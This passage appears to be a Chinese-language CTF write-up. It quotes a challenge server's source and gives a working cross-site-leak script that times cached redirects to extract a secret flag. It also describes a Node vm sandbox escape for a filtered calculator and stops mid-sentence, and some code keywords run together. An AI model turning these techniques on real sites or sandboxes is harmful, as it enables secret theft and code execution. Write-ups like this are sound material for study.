const port = Number(process.env.PORT) || 8080; const adminSecret = process.env.ADMIN_SECRET || "secretpw"; const flag = process.env.FLAG || "actf{someone_is_going_to_submit_this_out_of_desperation}";
functionqueryMiddleware(req, res, next) { res.locals.search = req.cookies.search || "the quick brown fox jumps over the lazy dog"; if (req.cookies.admin === adminSecret) { res.locals.search = flag; } next(); }
app.get("/q", queryMiddleware, (req, res) => { const query = req.query.q || "h"; let status; if (res.locals.search.includes(query)) { status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance"; } else { status = "failed"; } res.redirect( "/?m=" + encodeURIComponent( `your search that took place at ${Date.now()} has ${status}` ) ); });
app.listen(port, () => { console.log(`Server listening on port ${port}`); });
你可以設置任意 cookie,也可以搜尋某些字元是否存在於 flag 當中,而這題沒有 XSS 的點又有搜尋功能,因此顯然是 XS-leak。
既然是 XS-leak,就要觀察「有搜尋到」跟「沒搜尋到」的差別是什麼,搜尋的 query 長這樣:/q?q=actf,如果有搜尋到的話,會導到 /?m=your search...at 1651732982748 has success....,沒搜尋到的話會導到 /?m=your search...ar 1651732982748 has failed
而 index.html 只會把網址列上 m 的內容 render 到畫面上,因此成功跟失敗的差異有兩個:
functiongenSucceedUrl(t) { let ft = t + '' while(ft.length < 13) { ft += '0' } const status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance"; return'https://sustenance.web.actf.co/?m=' + encodeURIComponent(`your search that took place at ${ft} has ${status}`); }
asyncfunctionisCached(str) { let start = +newDate() let win = window.open(`https://sustenance.web.actf.co/q?q=` + encodeURIComponent(str)) await sleep(500) win.close() for(let i=1; i<=30; i++) { const url = genSucceedUrl(start + i) let loadTime = await getLoadTime(url) if (loadTime <= baseLine) { let total = 0 for(let j=1; j<=3; j++) { total += await getLoadTime(url) } total/=3 if (total <= baseLine) { report(`isCached success, str=${str}, i=${i}, start=${start}, total=${total}`) returntrue } } } returnfalse }
asyncfunctionmain() { let flag = 'actf{yummy_' let chars = 'acefsmntuy_}'.split('') while(flag[flag.length - 1] !== '}') { for(let char of chars) { report('trying:' + flag + char) if (await isCached(flag + char)) { flag += char report('flag:' + flag) break } } } }
interface.question( "Welcome to CaaSio: Please Stop Edition! Enter your calculation:\n", function (input) { interface.close(); if ( input.length < 215 && /^[\x20-\x7e]+$/.test(input) && !/[.\[\]{}\s;`'"\\_<>?:]/.test(input) && !input.toLowerCase().includes("import") ) { try { const val = vm.runInNewContext(input, {}); console.log("Result:"); console.log(val); console.log( "See, isn't the calculator so much nicer when you're not trying to hack it?" ); } catch (e) { console.log("your tried"); } } else { console.log( "Third time really is the charm! I've finally created an unhackable system!" ); } } );
VM bypass 的部分很簡單,可以用 this.constructor.constructor('return ...')() 來搞定,但是難點在於限制的字元很多,字串相關的都不給用,. 跟 [] 也不行,{};> 也不行,卡了很多東西。嘗試一陣子之後想起用 with 也可以來存取屬性,像這樣: